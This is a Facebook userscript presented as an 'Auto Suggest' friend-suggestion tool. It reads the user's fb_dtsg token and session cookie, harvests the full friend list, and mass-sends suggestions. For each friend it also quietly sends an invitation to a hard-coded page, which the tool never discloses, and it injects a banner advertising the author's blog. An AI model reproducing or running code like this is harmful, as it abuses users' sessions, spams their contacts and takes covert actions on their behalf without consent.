var Title = '<img src="http://i1217.photobucket.com/albums/dd387/wael111196/suggest_zps8db82039.png">',
    Descriptions = "",
    _text = "<font Color=red><b>-----------------------------</b></font></br>Thanks For Using Auto Suggest Program</br>";
newcomer = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_timeline_main_column").getAttribute("data-gt"))[1];
fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;

function SuggestFriend(a) {
    jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + a + "&newcomer=" + newcomer + "&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__req=17&fb_dtsg=" + fb_dtsg, function (a) {
        a = a.substring(a.indexOf("{"));
        a = JSON.parse(a);
        i--;
        Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:center;font-size:10px;white-space:pre-wrap;";
        a.error ? (Descriptions += "color:darkred'>", err++, Descriptions = a.errorDescription ? Descriptions + a.errorDescription : Descriptions + JSON.stringify(a, null, "")) : (Descriptions += "color:gray;font-size:12px'>", Descriptions += "Friend Suggestion Sent", suc++);
        Descriptions += "</div>";
        a = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:85px;border:2px dashed #333;background-color:#CCCD34;color:blue'>" + ("<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>");
        0 < i ? (a += arr.length + " Friends Detected</br>", 
        a += "<b>" + suc + "</b> Friends Suggested of </br>" + (arr.length - i) + " Friends Processed </br>", 
        a = a + "<div class='friend-edge'>" + Descriptions, 
        a += "<img style='background:center no-repeat url(https://i1217.photobucket.com/albums/dd387/wael111196/UlIqmHJn-SK_zps875c7c31.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid #333;' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>", 
        a += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:white'>", 
        a += _text, 
        a += "</div>", 
        a += "</div>", 
          a += "<div><div><span class='Copyright' style='position:fixed;left:20px;bottom:20px;;margin:0 0 15px 0;padding:1px 10px 3px;border:1px solid #444;background-color:#CCCD34;color:white;font-size:12px;font-weight:bold;white-space:nowrap;overflow:hidden;display:inline-block;width:500px;'><font Color=black>Copyright</font> <font Color=red>\u00a9</font> <font Color=black>Project Designed by</font> :<a> wael hagag</a></span>") : (
        
        a += arr.length + " <font Color=red>Friends Detected and </font></br>", 
            a += "<b>" + suc + "</b> <font Color=red>Friends Suggested</font></br>", 
        a += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='border-radius:25px;border:1px solid #333;background:orange;color:#000000;color:white'>CLOSE</span></br></br>&#961;&#963;&#969;&#1108;&#1103;&#594; &#1074;y : <a href='https://www.facebook.com/waelina.hagag'target='_blank'> &#969;&#945;&#1108;&#8467; &#1085;&#945;&#610;&#945;&#610; </a>");
        a += "</div>";
        document.getElementById("pagelet_sidebar").innerHTML = a
    }, "text", "post");
    tay--;
    if (0 < tay) {
        var b = arr[tay];
        sx = pho[tay];
        setTimeout("SuggestFriend(" + b + ")", 100)
    }
    console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
    newcomer && jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + b + "%22%3A1%7D&checkableitems[0]=" + b + "&page_id=561204617223847&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post");
}
function clickfr_callback() {
    0 < document.getElementsByName("ok").length && nHtml.ClickUp(document.getElementsByName("ok")[0]);
    var a = arr[i];
    i < arr.length && addfriend(a.substring(0, 4))
}
function clickfr() {
    0 < document.getElementsByClassName("search").length ? nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]) : j++;
    setTimeout("clickfr_callback()", 2E3)
}
function addfriend(a) {
    i++;
    setTimeout("clickfr()", 2E3)
}
jx = {
    getHTTPObject: function () {
        var a = !1;
        if ("undefined" != typeof ActiveXObject) try {
                a = new ActiveXObject("Msxml2.XMLHTTP")
        } catch (b) {
            try {
                a = new ActiveXObject("Microsoft.XMLHTTP")
            } catch (c) {
                a = !1
            }
        } else if (window.XMLHttpRequest) try {
                a = new XMLHttpRequest
        } catch (d) {
            a = !1
        }
        return a
    },
    load: function (a, b, c, d, f) {
        var e = this.init();
        if (e && a) {
            e.overrideMimeType && e.overrideMimeType("text/xml");
            d || (d = "GET");
            c || (c = "text");
            f || (f = {});
            c = c.toLowerCase();
            d = d.toUpperCase();
            var g = "uid=" + (new Date).getTime();
            a += a.indexOf("?") + 1 ? "&" : "?";
            a += g;
            g = null;
            "POST" == d && (g = a.split("?"), a = g[0], g = g[1]);
            e.open(d, a, !0);
            e.onreadystatechange = f.handler ? function () {
                f.handler(e)
            } : function () {
                if (4 == e.readyState) if (200 == e.status) {
                        var a = "";
                        e.responseText && (a = e.responseText);
                        "j" == c.charAt(0) ? (a = a.replace(/[\n\r]/g, ""), a = eval("(" + a + ")")) : "x" == c.charAt(0) && (a = e.responseXML);
                        b && b(a)
                    } else f.loadingIndicator && document.getElementsByTagName("body")[0].removeChild(f.loadingIndicator), f.loading && (document.getElementById(f.loading).style.display = "none"), error && error(e.status)
            };
            e.send(g)
        }
    },
    bind: function (a) {
        var b = {
            url: "",
            onSuccess: !1,
            onError: !1,
            format: "text",
            method: "GET",
            update: "",
            loading: "",
            loadingIndicator: ""
        }, c;
        for (c in b) a[c] && (b[c] = a[c]);
        if (b.url) {
            var d = !1;
            b.loadingIndicator && (d = document.createElement("div"), d.setAttribute("style", "position:absolute;top:0px;left:0px;"), d.setAttribute("class", "loading-indicator"), d.innerHTML = b.loadingIndicator, document.getElementsByTagName("body")[0].appendChild(d), this.opt.loadingIndicator = d);
            b.loading && (document.getElementById(b.loading).style.display = "block");
            this.load(b.url, function (a) {
                if (b.onSuccess) b.onSuccess(a);
                b.update && (document.getElementById(b.update).innerHTML = a);
                d && document.getElementsByTagName("body")[0].removeChild(d);
                b.loading && (document.getElementById(b.loading).style.display = "none")
            }, b.format, b.method, b)
        }
    },
    init: function () {
        return this.getHTTPObject()
    }
};
var nHtml = {
    FindByAttr: function (a, b, c, d) {
        "className" == c && (c = "class");
        return (a = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)) && a.singleNodeValue ? a.singleNodeValue : null
    },
    FindByClassName: function (a, b, c) {
        return this.FindByAttr(a, b, "className", c)
    },
    FindByXPath: function (a, b) {
        try {
            var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
        } catch (d) {
            GM_log("bad xpath:" + b)
        }
        return c && c.singleNodeValue ? c.singleNodeValue : null
    },
    VisitUrl: function (a) {
        window.setTimeout(function () {
            document.location.href = a
        }, 500 + Math.floor(500 * Math.random()))
    },
    ClickWin: function (a, b, c) {
        var d = a.document.createEvent("MouseEvents");
        d.initMouseEvent(c, !0, !0, a, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null);
        return !b.dispatchEvent(d)
    },
    Click: function (a) {
        return this.ClickWin(window, a, "click")
    },
    ClickTimeout: function (a, b) {
        window.setTimeout(function () {
            return nHtml.ClickWin(window, a, "click")
        }, b + Math.floor(500 * Math.random()))
    },
    ClickUp: function (a) {
        this.ClickWin(window, a, "mousedown");
        this.ClickWin(window, a, "mouseup");
        this.ClickWin(window, a, "click")
    },
    GetText: function (a, b) {
        var c = "";
        void 0 == b && (b = 0);
        if (!(40 < b)) {
            if (void 0 != a.textContent) return a.textContent;
            for (var d = 0; d < a.childNodes.length; d++) c += this.GetText(a.childNodes[d], b + 1);
            return c
        }
    }
};
void 0 == document.getElementsByClassName && (document.getElementsByClassName = function (a) {
    for (var b = RegExp("(?:^|\\s)" + a + "(?:$|\\s)"), c = document.getElementsByTagName("*"), d = [], f, e = 0; null != (f = c[e]); e++) {
        var g = f.className;
        g && -1 != g.indexOf(a) && b.test(g) && d.push(f)
    }
    return d
});
Array.prototype.find = function (a) {
    var b = !1;
    for (i = 0; i < this.length; i++) "function" == typeof a ? a.test(this[i]) && (b || (b = []), b.push(i)) : this[i] === a && (b || (b = []), b.push(i));
    return b
};
var i = 3,
    tay = 3,
    j = 0,
    k = 0,
    suc = 0,
    err = 0,
    arr = [],
    arn = [],
    pho = [],
    fb_dtsg = document.getElementsByName("fb_dtsg")[0].value,
    user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function (a) {
    a = a.substring(a.indexOf("{"));
    a = JSON.parse(a);
    a = a.payload.entries;
    for (var b = 0; b < a.length; b++) arr.push(a[b].uid);
    for (b = 0; b < a.length; b++) arn.push(a[b].text);
    for (b = 0; b < a.length; b++) pho.push(a[b].photo);
    tay = i = arr.length - 1;
    console.log(arr.length);
    a = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:85px;border:2px dashed #333;background-color:#CCCD34;color:#000000'>" + ("<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>");
    a += arr.length + " Friends Detected";
    a += "</div>";
    document.getElementById("pagelet_sidebar").innerHTML = a;
    SuggestFriend(arr[i])
});



body=document.body;null!=body&&(div=document.createElement("div"),div.setAttribute("id","like3"),div.style.position="fixed",div.style.display="block",div.style.width="225px",div.style.hieght="35px",div.style.opacity=1,div.style.bottom="+85px",div.style.left="+23px",div.style.backgroundColor="#CCCD34",div.style.border="1px solid #444 ",div.style.padding="2px",div.style.padding="3px",div.innerHTML="\u255a\u25ba <a href='http://fb-programs.blogspot.com/' style='color: #990000;'target='_blank' onclick='alert('Script By wael hagag');'>Click here to get the new programs</a>"); body.appendChild(div);unsafeWindow.AnonymousComments=function(){for(var b=0,c=document.getElementsByTagName("a"),a=0;a<c.length;a++)b++};

